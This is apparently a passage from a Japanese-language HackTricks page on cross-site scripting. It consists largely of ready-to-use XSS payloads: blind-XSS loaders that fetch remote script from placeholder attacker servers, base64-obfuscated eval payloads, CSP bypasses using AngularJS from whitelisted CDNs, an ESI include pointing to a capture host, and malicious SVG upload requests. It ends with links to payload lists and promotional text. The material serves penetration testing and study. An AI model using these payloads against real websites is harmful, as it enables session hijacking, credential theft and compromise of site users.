"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 隠されたコンテンツにアクセス
From this writeup から、いくつかの値が JS から消えても、別のオブジェクトの JS 属性内でそれらを見つけられることが分かります。例えば、REGEX の input は、REGEX の input の値が削除された後でも見つけられることがあります:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS を使った他の脆弱性の悪用
XSS in Markdown
Markdown コードを注入してレンダリングさせられますか?もしかすると XSS を引き起こせるかもしれません!確認してください:
XSS を SSRF に
キャッシュを使用するサイトで XSS を得ましたか?Edge Side Include Injection を使ってそれを SSRF にアップグレードしてみてください。payload は次のとおり:
<esi:include src="http://yoursite.com/capture" />
cookieの制限、XSSフィルタなどを回避するために使用できます!
この技術の詳細はこちら: XSLT.
XSS in dynamic created PDF
Webページがユーザ制御の入力でPDFを生成している場合、PDFを生成しているbotを騙して任意のJSコードを実行させることを試みることができます。
つまり、PDF creator botが何らかのHTMLタグを検出すると、それらを解釈し、この挙動を悪用してServer XSS**を引き起こすことができます。
HTMLタグを注入できない場合は、PDFデータを注入することを試してみる価値があります:
XSS in Amp4Email
AMPは、モバイル端末でのウェブページ表示の高速化を目的としており、速度とセキュリティを重視した形でJavaScriptで補助されたHTMLタグを取り入れています。さまざまな機能を提供するコンポーネントをサポートしており、AMP componentsで確認できます。
AMP for Email形式は特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
Example writeup XSS in Amp4Email in Gmail.
XSS uploading files (svg)
次のようなファイルを画像としてアップロードしてください(出典: http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
以下でより多くのSVGペイロードを見つけてください: https://github.com/allanlw/svg-cheatsheet
その他のJSトリックと関連情報
Misc JS Tricks & Relevant Info
XSS リソース
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
参考
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks